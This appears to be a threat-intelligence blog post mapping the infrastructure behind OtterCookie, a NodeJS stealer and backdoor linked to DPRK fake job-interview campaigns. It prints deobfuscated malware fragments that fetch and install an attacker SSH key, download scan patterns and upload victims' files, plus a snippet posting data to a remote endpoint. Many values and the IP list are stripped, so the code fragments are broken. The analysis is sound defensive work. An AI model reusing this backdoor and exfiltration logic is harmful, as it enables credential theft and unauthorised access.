

Mapping Ottercookie Infrastructure

 medium.com/walmartglobaltech/mapping-ottercookie-infrastructure-1c49f0cd3883

Jason Reaves

April 6, 2026

We're powering the next great retail disruption. Learn more about us—

<https://www.linkedin.com/company/walmartglobaltech/>

A lot of focus specifically surrounding DPRK has been on IT workers but there are multiple entities performing various schemes. One of the more prolific ones being interviewing developers and having them work on TA supplied code repositories from various sites. The malware delivered is normally leveraged for harvesting credentials and crypto; InvisibleFerret[5], BeaverTail, OtterCookie and Golang based malware[4].

Alot of work goes into tracking and cataloging the various malware families and their code overlaps, not many people focus on the infrastructure side though which is surprising because it's pretty similar to malware analysis; just more pattern matching.

While tracking some other malware I ended up pivoting into NodeJS based stealer and backdoor code that resembled similar tactics to DPRK campaigns.

Join Medium for free to get updates from this writer.

Remember me for faster sign in

3a08e7f236aac7f6eb6f75911b98bc5157dcfa53b268b447f7d1b87b0615b90d

The decoded index javascript from this package ends up doing a few things, first it will want to download a SSH key to be added locally:

```
_0x30c718 = fetch(); { msg: _0x50cbce } = _0x30c718.json(); _0x581499 = ;
(process.platform === ) { _0x581499 = addSshKeyToUser(_0x50cbce);
```

It will also download patterns for scanning

```
_0x3c4caa = fetch(); { scanPatterns: _0x28ca54 } = _0x3c4caa.json();
```

In this case it returned:

Ultimately wanting to send off the files:

```
( _0x14ded9 = ; _0x14ded9 < _0x57def7.length; _0x14ded9++) {
uploadFile(_0x57def7[_0x14ded9], , _0x581499);
```

Pivoting on this information I found this blog[1], that saame site led me to this[2]:

```
; axios = (); process = { : { : , : , : , } }; ( ) { apiEndpoint =  
(process..); apiHeaderKey = (process..); apiHeaderValue = (process..); retryCount =  
; (retryCount > ) { { originalLog = .; response = ( axios.  
(apiEndpoint, { : { [apiHeaderKey]: apiHeaderValue } })).; handler = .(); ();  
. = originalLog; ; } (error) { retryCount--; } } }();
```

This code posts hardcoded data to a URI:

```
{ headers: { : } }
```

The downloaded code is obfuscated:

After deobfuscating the code aligns with OtterCookies from another blog[3]:

```
u_s = ; l_s = ; s_s = ;
```

The malware itself aligns with the other blog well enough, focusing more on the infrastructure some pretty noticeable port mappings:

Port 8085 returns this in Censys[6]:

Also leveraging the banner hash of port 17500 we can map out quite a bit of infrastructure:

```
= and services.banner_hashes= and services.port=
```

IPs:

```
. . . . .
```

References

1: <https://kmsec.uk/blog/contagious-trader/>

2: <https://dprk-research.kmsec.uk/api/samples/76df69b919642ab4d54a94e8988b4fafaa16c933f7bc5d6dffddf4c27762908a>

3: <https://www.enki.co.kr/en/media-center/blog/contagious-interview-campaign-abusing-vscode-distributed-on-github>

4: <https://medium.com/walmartglobaltech/golang-backdoor-with-a-side-of-chromeupdatealert-app-9e47d1063ead>

- 5: <https://www.microsoft.com/en-us/security/blog/2026/03/11/contagious-interview-malware-delivered-through-fake-developer-job-interviews/>
- 6: <https://censys.com/>